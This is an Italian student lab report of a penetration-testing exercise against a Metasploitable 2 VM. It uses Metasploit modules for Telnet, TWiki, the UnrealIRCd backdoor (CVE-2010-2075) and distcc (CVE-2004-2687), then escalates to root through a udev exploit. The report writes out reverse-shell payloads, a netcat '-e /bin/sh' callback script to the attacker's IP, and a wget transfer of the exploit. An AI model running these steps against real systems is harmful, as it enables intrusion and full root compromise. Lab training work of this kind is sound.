

ESERCIZIO W16D1

Exploit Telnet e TWiki

Mungiovì Fabio

TASK

Utilizzare Kali per sfruttare la vulnerabilità relativa a Telnet con il modulo auxiliary telnet_version sulla macchina Metasploitable.

Requisito:

Prima, configurate l'IP della vostra Kali con 192.168.1.25 e l'IP della vostra Metasploitable con 192.168.1.40

FACOLTATIVO

Sulla base di quanto già visto, utilizzare Kali per sfruttare la vulnerabilità relativa a TWiki con la tecnica che meglio preferite, sulla macchina Metasploitable.

EXTRA

Analizzare il funzionamento delle vulnerabilità e verificare se il target Metasploitable ne è soggetto:

- CVE-2010-2075
- CVE-2004-2687

Produrre un report in cui è compresa una descrizione delle vulnerabilità e un VAPT verso Metasploitable.

Per CVE-2004-2687 condurre un privilege escalation su udev.

ESECUZIONE

Da Kali apriamo Metasploit tramite il comando `msfconsole`.

Cerchiamo i moduli disponibili per l'exploit con in comando search Telnet.

Nel nostro caso andremo ad utilizzare il modulo `n. 73 auxiliary/scanner/telnet/yelnet_version`.

```
73 auxiliary/scanner/telnet/telnet_version normal No Telnet
```

Tramite il comando use 73, andiamo a selezionare il modulo desiderato.

```
msf6 > use 73
msf6 auxiliary(scanner/telnet/telnet_version) > 
```

Con show options, controlliamo che input serve al modulo per funzionare correttamente.

```
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):



| Name     | Current Setting | Required | Description                                                                                                                                                     |
|----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PASSWORD |                 | no       | The password for the specified username                                                                                                                         |
| RHOSTS   |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basic.html">https://docs.metasploit.com/docs/using-metasploit/basic.html</a> |
| RPORT    | 23              | yes      | The target port (TCP)                                                                                                                                           |
| THREADS  | 1               | yes      | The number of concurrent threads (max one per host)                                                                                                             |
| TIMEOUT  | 30              | yes      | Timeout for the Telnet probe                                                                                                                                    |
| USERNAME |                 | no       | The username to authenticate as                                                                                                                                 |



View the full module info with the info, or info -d command.
```

Impostiamo il remote host con l'IP di Metasploitable

```
msf6 auxiliary(scanner/telnet/telnet_version) > set RHOST 192.168.1.40
RHOST => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_version) > 
```

Tramite il comando exploit, facciamo partire l'attacco.

In output troveremo le credenziali per l'accesso alla macchina target.

[illegible]

Come possiamo vedere dalle immagini sottostanti, il nostro attacco ha avuto successo e possiamo eseguire comandi.

```
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:61:63:0c
          inet addr:192.168.1.40  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe61:630c/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:81 errors:0 dropped:0 overruns:0 frame:0
          TX packets:162 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:5892 (5.7 KB)  TX bytes:15485 (15.1 KB)
          Base address:0xd020 Memory:f0200000-f0220000
```

FACOLTATIVO

In questo esercizio andremo a sfruttare la vulnerabilità di Metasploitable 2 legata a Twiki.

Con il comando search su msfconsole, cerchiamo un modulo adatto ai nostri scopi.

```
msf6 > search twiki
Matching Modules
-----
#  Name                                     Disclosure Date  Rank   Check  Description
--  -
0  exploit/unix/webapp/moinmoin_twiki_draw  2012-12-30      manual Yes    MoinMoin twiki_draw Action Traversal File Upload
1  exploit/unix/http/twiki_debug_plugins    2014-10-09      excellent Yes    TWiki Debugableplugins Remote Code Execution
2  exploit/unix/webapp/twiki_history         2005-09-14      excellent Yes    TWiki History TWikiUsers rev Parameter Command
Execution
3  exploit/unix/webapp/twiki_makertext      2012-12-15      excellent Yes    TWiki MAKETEXT Remote Command Execution
4  exploit/unix/webapp/twiki_search         2004-10-01      excellent Yes    TWiki Search Function Arbitrary Command Execution

Interact with a module by name or index. For example info 4, use 4 or use exploit/unix/webapp/twiki_search
```

Andremo ad utilizzare il modulo 2, quindi digitiamo use 2 e successivamente usiamo show options per trovare i parametri da impostare per il modulo.

```
msf6 exploit(unix/webapp/twiki_history) > show options
Module options (exploit/unix/webapp/twiki_history):
  Name      Current Setting  Required  Description
  --      -
Proxies     RHOSTS          yes       A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS      RHOSTS          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
metasploit.html
RPORT       80              yes       The target port (TCP)
SSL         false           no        Negotiate SSL/TLS for outgoing connections
URI         /twiki/bin      yes       TWiki bin directory path
VHOST       VHOST           no        HTTP server virtual host

Payload options (cmd/unix/python/meterpreter/reverse_tcp):
  Name      Current Setting  Required  Description
  --      -
LHOST      192.168.1.25    yes       The listen address (an interface may be specified)
LPORT      4444            yes       The listen port

Exploit target:
  Id  Name
  --  -
0    Automatic
```

Impostiamo il remote host come visto in precedenza.

```
msf6 exploit(unix/webapp/twiki_history) > set RHOST 192.168.1.40
RHOST => 192.168.1.40
```

Con il comando show payloads ci vengono mostrati tutti i payload compatibili con le opzioni inserite, andiamo quindi a selezionare un payload adatto.

Abbiamo scelto il payload cmd/unix/reverse per creare una reverse shell.

```
msf6 exploit(unix/webapp/twiki_history) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
```

Mandiamo in esecuzione il modulo con exploit e poi spostiamoci su Twiki per verificare che sia andato a buon fine.

Da browser digitiamo <IP Metasploitable 2>/twiki e navighiamo sulla pagina principale, da qui potremo modificare l'url per eseguire comandi sulla pagina vulnerabile.



PRATICA EXTRA

Analizzare le vulnerabilità CVE-2010-2075 e CVE-2004-2687, verificare se Metasploitable 2 ne è affetto, sfruttare le vulnerabilità ove possibile e condurre un privilege escalation su udev per CVE-2004-2687.

VULNERABILITA' CVE-2010-2075

CVE-2010-2075		
CVE base score	Modulo metasploit	Sistema target affetto
7.5 High	exploit/unix/irc/ unreal_ircd_3281_backdoor	Si

Descrizione:

Questa vulnerabilità affligge UnrealIRCd 3.2.8.1, per come è distribuita su alcuni siti specchio da novembre 2009 a giugno 2010.

Contiene una modifica apportata esternamente (Trojan Horse) nella macro DEBUG3_DOLOG_SYSTEM, che permette agli attaccanti remoti di eseguire comandi arbitrari.

Sfruttamento vulnerabilità

Da msfconsole, cerchiamo il modulo legato a ircd e utilizziamolo.

```
msf6 > search ircd

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12      excellent No      UnrealIRCd 3.2.8.1 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/irc/unreal_ircd_3281_backdoor
```

Con show options ci vengono mostrate le opzioni del modulo, con set RHOST impostiamo il remote host con l'IP della macchina target.

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

Name      Current Setting  Required  Description
--      -
CHOST      CHOST            no        The local client address
CPORT     CPORT            no        The local client port
Proxies   Proxies          no        A proxy chain of format type:host:port[,type:host:port][ ... ]
RHOSTS    RHOSTS          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     RPORT            yes       The target port (TCP)

Exploit target:

Id  Name
--  -
0   Automatic Target

View the full module info with the info, or info -d command.

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOST 192.168.1.40
RHOST => 192.168.1.40
```

Con show payloads cerchiamo un payload adatto e una volta trovato, selezioniamolo.

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads

Compatible Payloads

#   Name                                     Disclosure Date Rank Check Description
-   -
0   payload/cmd/unix/adduser                 .               normal No   Add user with useradd
1   payload/cmd/unix/bind_perl               .               normal No   Unix Command Shell, Bind TCP (via Perl)
2   payload/cmd/unix/bind_perl_ipv6         .               normal No   Unix Command Shell, Bind TCP (via perl) IPv6
3   payload/cmd/unix/bind_ruby              .               normal No   Unix Command Shell, Bind TCP (via Ruby)
4   payload/cmd/unix/bind_ruby_ipv6         .               normal No   Unix Command Shell, Bind TCP (via Ruby) IPv6
5   payload/cmd/unix/generic                 .               normal No   Unix Command, Generic Command Execution
6   payload/cmd/unix/reverse                 .               normal No   Unix Command Shell, Double Reverse TCP (telnet)
7   payload/cmd/unix/reverse_bash_telnet_ssl .               normal No   Unix Command Shell, Reverse TCP SSL (telnet)
8   payload/cmd/unix/reverse_perl           .               normal No   Unix Command Shell, Reverse TCP (via Perl)
9   payload/cmd/unix/reverse_perl_ssl       .               normal No   Unix Command Shell, Reverse TCP SSL (via perl)
10  payload/cmd/unix/reverse_ruby            .               normal No   Unix Command Shell, Reverse TCP (via Ruby)
11  payload/cmd/unix/reverse_ruby_ssl        .               normal No   Unix Command Shell, Reverse TCP SSL (via Ruby)
12  payload/cmd/unix/reverse_ssl_double_telnet .               normal No   Unix Command Shell, Double Reverse TCP SSL (telnet)

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
```

Come local host, impostiamo l'IP di Kali

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 192.168.1.25
LHOST => 192.168.1.25
```

Mandiamo in esecuzione l'exploit e come possiamo vedere dall'immagine sottostante, è andato a buon fine ed abbiamo i privilegi di root.

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[*] Started reverse TCP double handler on 192.168.1.25:4444
[*] 192.168.1.40:6667 - Connected to 192.168.1.40:6667...
:irc.Metasploitable.LAN NOTICE AUTH :** Looking up your hostname...
[*] 192.168.1.40:6667 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo OwVBtJNzGTce25Fq;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "OwVBtJNzGTce25Fq\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.1.25:4444 → 192.168.1.40:41889) at 2025-06-10 06:58:24 -0400

id
uid=0(root) gid=0(root)
whoami
root
pwd
/etc/unreal
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:61:63:0c
          inet addr:192.168.1.40  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe61:630c/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:666 errors:0 dropped:0 overruns:0 frame:0
          TX packets:384 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:55478 (54.1 KB)  TX bytes:153664 (150.0 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:378 errors:0 dropped:0 overruns:0 frame:0
          TX packets:378 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:123817 (120.9 KB)  TX bytes:123817 (120.9 KB)
```

Vulnerabilità CVE-2004-2687

CVE-2004-2687		
CVE base score	Modulo metasploit	Sistema target affetto
9.3 High	exploit/unix/misc/distcc_exec	Si

Descrizione:

distcc 2.x, per come è usato in Xcode 1.5 ed altri, quando non è configurato per limitare l'accesso alla porta del server, permette ad attaccanti remoti di eseguire comandi arbitrari tramite job di compilazione, che sono eseguiti dal server senza controlli di autorizzazione.

Sfruttamento vulnerabilità

Cerchiamo il modulo adatto su msfconsole.

Come possiamo vedere il modulo è uno solo, quindi selezioniamolo.

```
msf6 > search distcc

Matching Modules
=====
#  Name                                     Disclosure Date  Rank   Check  Description
-  -                                     -              -      -      -
0  exploit/unix/misc/distcc_exec            2002-02-01      excellent Yes     DistCC Daemon Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/misc/distcc_exec

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_bash
```

Impostiamo il remote host con l'IP di Metasploitable 2.

```
msf6 exploit(unix/misc/distcc_exec) > set RHOST 192.168.1.40
RHOST => 192.168.1.40
```

Impostiamo un payload adatto ai nostri scopi.

```
msf6 exploit(unix/misc/distcc_exec) > set payload 9
payload => cmd/unix/reverse_openssl
```


Mandiamo in esecuzione l'exploit e come possiamo notare, non abbiamo i privilegi di root, andremo quindi ad eseguire un privilege escalation tramite udev.

```
msf6 exploit(unix/misc/distcc_exec) > exploit
[*] Started reverse double SSL handler on 192.168.1.25:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo b2r2war47aLi1lf0;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "b2r2war47aLi1lf0\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.1.25:4444 → 192.168.1.40:46557) at 2025-06-10 07:02:14 -0400

whoami
daemon
█
```

Troviamo il processo di udev e la versione tramite i comandi nell'immagine sottostante.

```
ps aux | grep udev
root      2424  0.0  0.1   2092   636 ?        S<s  06:10   0:00 /sbin/udev --daemon
dpkg -l | grep "udev"
ii  udev              117-8                rule-based device node and kernel event mana
█
```

Usando searchexploit da un secondo terminale, cerchiamo un exploit adatto ai nostri scopi. Nel nostro caso utilizzeremo il secondo exploit contenuto nell'immagine.

```
(kali@kali)-[~]
$ searchsploit udev

```

Exploit Title	Path
Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) UDEV < 1.4.1 - Local Privilege Escalation (1)	linux/local/8478.sh
Linux Kernel 2.6 (Gentoo / Ubuntu 8.10/9.04) UDEV < 1.4.1 - Local Privilege Escalation (2)	linux/local/8572.c
Linux Kernel 4.8.0 UDEV < 232 - Local Privilege Escalation	linux/local/41886.c
Linux Kernel UDEV < 1.4.1 - 'Netlink' Local Privilege Escalation (Metasploit)	linux/local/21848.rb

```
Shellcodes: No Results
```

Avviamo Apache 2 e copiamo il file dell'exploit nei file di Apache.

Controlliamo che i comandi siano stati eseguiti correttamente e che il file si trovi ora nella cartella /var/www/html.

```
(kali@kali)-[~]
$ service apache2 start

(kali@kali)-[~]
$ sudo cp /usr/share/exploitdb/linux/local/8572.c /var/www/html
[sudo] password for kali:
cp: cannot stat '/usr/share/exploitdb/linux/local/8572.c': No such file or directory

(kali@kali)-[~]
$ sudo cp /usr/share/exploitdb/exploits/linux/local/8572.c /var/www/html

(kali@kali)-[~]
$ ll /var/www/html
total 24
-rw-r--r-- 1 root root 2757 Jun 10 07:09 8572.c
drwxrwxrwx 12 root root 4096 Apr 15 07:00 DVWA
-rw-r--r-- 1 root root 10703 Nov 30 2024 index.html
-rw-r--r-- 1 root root 615 Nov 30 2024 index.nginx-debian.html
```

Spostiamoci nuovamente su msfconsole e passiamo il file dell'exploit alla macchina target, controllando poi se il file è stato scaricato correttamente.

```
wget 192.168.1.25/8572.c
--07:11:14-- http://192.168.1.25/8572.c
=> `8572.c'
Connecting to 192.168.1.25:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,757 (2.7K) [text/x-csrc]

0K .. 100% 75.90 MB/s

07:11:14 (75.90 MB/s) - `8572.c' saved [2757/2757]

ls
4595.jsvc_up
8572.c
gconfd-msfadmin
orbit-msfadmin
```

Creiamo il file run e passiamogli due comandi:

#!/bin/sh: specifica che lo script deve essere eseguito con la shell di sistema;

/bin/netcat -e /bin/sh 192.168.1.25 5555: comanda a netcat di connettersi all'IP e alla porta specificata ed eseguire una reverse shell tramite /bin/sh.

```
touch run

echo '#!/bin/sh' > run
echo '/bin/netcat -e /bin/sh 192.168.1.25 5555' >> run
```

Compiliamo un file sorgente .c in un eseguibile chiamato 8572.

```
gcc 8572.c -o 8572
8572.c:110:28: warning: no newline at end of file
```

Con ls controlliamo che il file run sia presente sul sistema target e con cat controlliamo i contenuti del file.

```
ls
4595.jsvc_up
8572
8572.c
gconfd-msfadmin
orbit-msfadmin
run

cat run
#!/bin/sh
/bin/netcat -e /bin/sh 192.168.1.25 5555
```

Leggendo il file /proc/net/netlink possiamo recuperare il pid di udev (2423).

```
cat /proc/net/netlink
```

sk	Eth	Pid	Groups	Rmem	Wmem	Dump	Locks
de1b6800	0	0	000000000	0	0	000000000	2
df953a00	4	0	000000000	0	0	000000000	2
dd659000	7	0	000000000	0	0	000000000	2
ddc12c00	9	0	000000000	0	0	000000000	2
ddc0ec00	10	0	000000000	0	0	000000000	2
de1b6c00	15	0	000000000	0	0	000000000	2
df958800	15	2423	000000001	0	0	000000000	2
de392800	16	0	000000000	0	0	000000000	2
df992e00	18	0	000000000	0	0	000000000	2

Rendiamo eseguibile il file 8572 con il comando chmod +x 8572.

Mettiamoci in ascolto con Netcat sulla porta 5555 su un altro terminale.

Da msfconsole eseguiamo il comando ./8572 seguito dal pid di udev, cioè 2423.

Ora abbiamo aperto una reverse shell su Netcat, da cui possiamo eseguire comandi con privilegi di root.

```
(kali@kali)-[~]
$ nc -lnvp 5555
listening on [any] 5555 ...
connect to [192.168.1.25] from (UNKNOWN) [192.168.1.40] 33142
id
uid=0(root) gid=0(root)
ifconfig
eth0 Link encap:Ethernet HWaddr 08:00:27:61:63:0c
      inet addr:192.168.1.40 Bcast:192.168.1.255 Mask:255.255.255.0
      inet6 addr: fe80::a00:27ff:fe61:630c/64 Scope:Link
      UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
      RX packets:802 errors:0 dropped:0 overruns:0 frame:0
      TX packets:526 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:1000
      RX bytes:74889 (73.1 KB) TX bytes:180008 (175.7 KB)
      Base address:0xd020 Memory:f0200000-f0220000

lo Link encap:Local Loopback
      inet addr:127.0.0.1 Mask:255.0.0.0
      inet6 addr: ::1/128 Scope:Host
      UP LOOPBACK RUNNING MTU:16436 Metric:1
      RX packets:458 errors:0 dropped:0 overruns:0 frame:0
      TX packets:458 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:0
      RX bytes:163021 (159.2 KB) TX bytes:163021 (159.2 KB)

whoami
root
```